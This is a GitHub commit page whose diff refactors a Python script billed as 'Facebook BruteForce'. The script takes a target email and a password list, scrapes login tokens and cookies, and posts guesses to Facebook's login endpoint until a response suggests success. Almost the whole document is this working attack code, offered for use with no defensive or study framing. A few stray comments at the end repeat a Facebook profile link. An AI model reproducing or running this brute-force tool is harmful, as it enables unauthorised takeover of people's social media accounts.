-
Notifications
You must be signed in to change notification settings - Fork 614
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
51e6249
commit 1666511
Showing
1 changed file
with
54 additions
and
56 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,64 +1,62 @@ | ||
import os.path | ||
import requests | ||
import threading | ||
# import urllib.request | ||
# import os | ||
from bs4 import BeautifulSoup | ||
import sys | ||
|
||
if sys.version_info[0] !=3: | ||
print('''-------------------------------------- | ||
REQUIRED PYTHON 3.x | ||
use: python3 fb.py | ||
-------------------------------------- | ||
''') | ||
sys.exit() | ||
if sys.version_info[0] != 3: | ||
print('''\t--------------------------------------\n\t\tREQUIRED PYTHON 3.x\n\t\tinstall and try: python3 | ||
fb.py\n\t--------------------------------------''') | ||
sys.exit() | ||
|
||
post_url='https://www.facebook.com/login.php' | ||
headers = { | ||
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', | ||
PASSWORD_FILE = "passwords.txt" | ||
MIN_PASSWORD_LENGTH = 6 | ||
POST_URL = 'https://www.facebook.com/login.php' | ||
HEADERS = { | ||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', | ||
} | ||
payload={} | ||
cookie={} | ||
PAYLOAD = {} | ||
COOKIES = {} | ||
|
||
def create_form(): | ||
form=dict() | ||
cookie={'fr':'0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'} | ||
|
||
data=requests.get(post_url,headers=headers) | ||
for i in data.cookies: | ||
cookie[i.name]=i.value | ||
data=BeautifulSoup(data.text,'html.parser').form | ||
if data.input['name']=='lsd': | ||
form['lsd']=data.input['value'] | ||
return (form,cookie) | ||
|
||
def function(email,passw,i): | ||
global payload,cookie | ||
if i%10==1: | ||
payload,cookie=create_form() | ||
payload['email']=email | ||
payload['pass']=passw | ||
r=requests.post(post_url,data=payload,cookies=cookie,headers=headers) | ||
if 'Find Friends' in r.text or 'security code' in r.text or 'Two-factor authentication' in r.text: | ||
open('temp','w').write(str(r.content)) | ||
print('\npassword is : ',passw) | ||
return True | ||
return False | ||
|
||
print('\n---------- Welcome To Facebook BruteForce ----------\n') | ||
file=open('passwords.txt','r') | ||
|
||
email=input('Enter Email/Username : ') | ||
|
||
print("\nTarget Email ID : ",email) | ||
print("\nTrying Passwords from list ...") | ||
|
||
i=0 | ||
while file: | ||
passw=file.readline().strip() | ||
i+=1 | ||
if len(passw) < 6: | ||
continue | ||
print(str(i) +" : ",passw) | ||
if function(email,passw,i): | ||
break | ||
def create_form(): | ||
form = dict() | ||
cookies = {'fr': '0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'} | ||
|
||
data = requests.get(POST_URL, headers=HEADERS) | ||
for i in data.cookies: | ||
cookies[i.name] = i.value | ||
data = BeautifulSoup(data.text, 'html.parser').form | ||
if data.input['name'] == 'lsd': | ||
form['lsd'] = data.input['value'] | ||
return form, cookies | ||
|
||
|
||
def is_this_a_password(email, index, password): | ||
global PAYLOAD, COOKIES | ||
if index % 10 == 0: | ||
PAYLOAD, COOKIES = create_form() | ||
PAYLOAD['email'] = email | ||
PAYLOAD['pass'] = password | ||
r = requests.post(POST_URL, data=PAYLOAD, cookies=COOKIES, headers=HEADERS) | ||
if 'Find Friends' in r.text or 'security code' in r.text or 'Two-factor authentication' in r.text or "Log Out" in r.text: | ||
open('temp', 'w').write(str(r.content)) | ||
print('\npassword found is: ', password) | ||
return True | ||
return False | ||
|
||
|
||
if __name__ == "__main__": | ||
print('\n---------- Welcome To Facebook BruteForce ----------\n') | ||
if not os.path.isfile(PASSWORD_FILE): | ||
print("Password file is not exist: ", PASSWORD_FILE) | ||
sys.exit(0) | ||
password_data = open(PASSWORD_FILE, 'r').read().split("\n") | ||
print("Password file selected: ", PASSWORD_FILE) | ||
email = input('Enter Email/Username to target: ').strip() | ||
for index, password in zip(range(password_data.__len__()), password_data): | ||
password = password.strip() | ||
if len(password) < MIN_PASSWORD_LENGTH: | ||
continue | ||
print("Trying password [", index, "]: ", password) | ||
if is_this_a_password(email, index, password): | ||
break |
1666511
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
1666511
1666511
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
https://www.facebook.com/marmarsoe446gmail?mibextid=ZbWKwL
1666511
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
ls
1666511
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
https://www.facebook.com/marmarsoe446gmail?mibextid=ZbWKwL